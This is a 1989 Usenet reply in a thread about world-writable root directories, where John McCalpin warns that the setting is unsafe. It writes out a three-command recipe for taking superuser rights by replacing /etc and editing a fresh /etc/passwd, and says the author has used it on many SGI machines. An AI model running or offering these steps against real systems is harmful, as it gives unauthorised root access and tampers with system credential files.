Permissive Permissions

[John McCalpin]

In article <8905101550.AA02500 at lerc08.nas.nasa.gov> fsfacca at LERC08.NAS.NASA.GOV (Tony Facca) writes:
>
>>>     I fail to see what the problem is?  / has world-writable, so what?!
>>> I would be concerned if it didn't.

Try:
	mv /etc /old_etc
	mkdir /etc
	vi /etc/passwd

I have gotten superuser privileges on MANY SGI machines this way....
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John D. McCalpin - Dept of Oceanography - Florida State University
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